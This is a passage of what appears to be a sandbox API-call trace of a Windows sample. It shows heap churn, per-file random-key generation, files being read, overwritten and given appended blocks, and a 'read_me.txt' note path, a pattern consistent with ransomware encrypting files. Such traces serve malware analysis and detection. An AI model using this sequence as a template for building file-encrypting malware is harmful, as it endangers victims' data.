() returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.260] GetProcessHeap () returned 0x540000 [0086.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.260] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.261] GetProcessHeap () returned 0x540000 [0086.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.262] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.262] WriteFile (in: hFile=0x7f8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0x7f8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.262] GetProcessHeap () returned 0x540000 [0086.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.262] CloseHandle (hObject=0x7f8) returned 1 [0086.263] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 108 [0086.263] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.263] ReadFile (in: hFile=0x92c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.263] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.263] GetProcessHeap () returned 0x540000 [0086.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.263] GetProcessHeap () returned 0x540000 [0086.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.263] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.263] GetProcessHeap () returned 0x540000 [0086.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.263] ReadFile (in: hFile=0x92c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.266] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.266] WriteFile (in: hFile=0x92c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.266] GetProcessHeap () returned 0x540000 [0086.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.266] GetProcessHeap () returned 0x540000 [0086.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.266] GetProcessHeap () returned 0x540000 [0086.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.266] GetProcessHeap () returned 0x540000 [0086.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.266] GetProcessHeap () returned 0x540000 [0086.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.266] GetProcessHeap () returned 0x540000 [0086.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.267] GetProcessHeap () returned 0x540000 [0086.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.268] GetProcessHeap () returned 0x540000 [0086.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.269] GetProcessHeap () returned 0x540000 [0086.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.270] GetProcessHeap () returned 0x540000 [0086.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.271] GetProcessHeap () returned 0x540000 [0086.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.271] GetProcessHeap () returned 0x540000 [0086.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.271] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.271] WriteFile (in: hFile=0x92c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.271] WriteFile (in: hFile=0x92c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.271] GetProcessHeap () returned 0x540000 [0086.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.271] GetProcessHeap () returned 0x540000 [0086.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.271] GetProcessHeap () returned 0x540000 [0086.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.271] CloseHandle (hObject=0x92c) returned 1 [0086.272] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 109 [0086.272] GetProcessHeap () returned 0x540000 [0086.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0086.273] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu\\*") returned 33 [0086.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x333fa70, ftCreationTime.dwHighDateTime=0x540150, ftLastAccessTime.dwLowDateTime=0x285fc58, ftLastAccessTime.dwHighDateTime=0x540000, ftLastWriteTime.dwLowDateTime=0x540150, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x33427c0, nFileSizeLow=0x540150, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="➸̴", cAlternateFileName="")) returned 0xffffffff [0086.273] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu\\read_me.txt") returned 43 [0086.273] GetProcessHeap () returned 0x540000 [0086.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4340048 | out: hHeap=0x540000) returned 1 [0086.273] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 101 [0086.273] GetProcessHeap () returned 0x540000 [0086.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0086.274] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.274] ReadFile (in: hFile=0x930, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.274] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.274] GetProcessHeap () returned 0x540000 [0086.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.274] GetProcessHeap () returned 0x540000 [0086.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.274] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.275] GetProcessHeap () returned 0x540000 [0086.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.275] ReadFile (in: hFile=0x930, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.277] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.277] WriteFile (in: hFile=0x930, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.277] GetProcessHeap () returned 0x540000 [0086.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.277] GetProcessHeap () returned 0x540000 [0086.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.277] GetProcessHeap () returned 0x540000 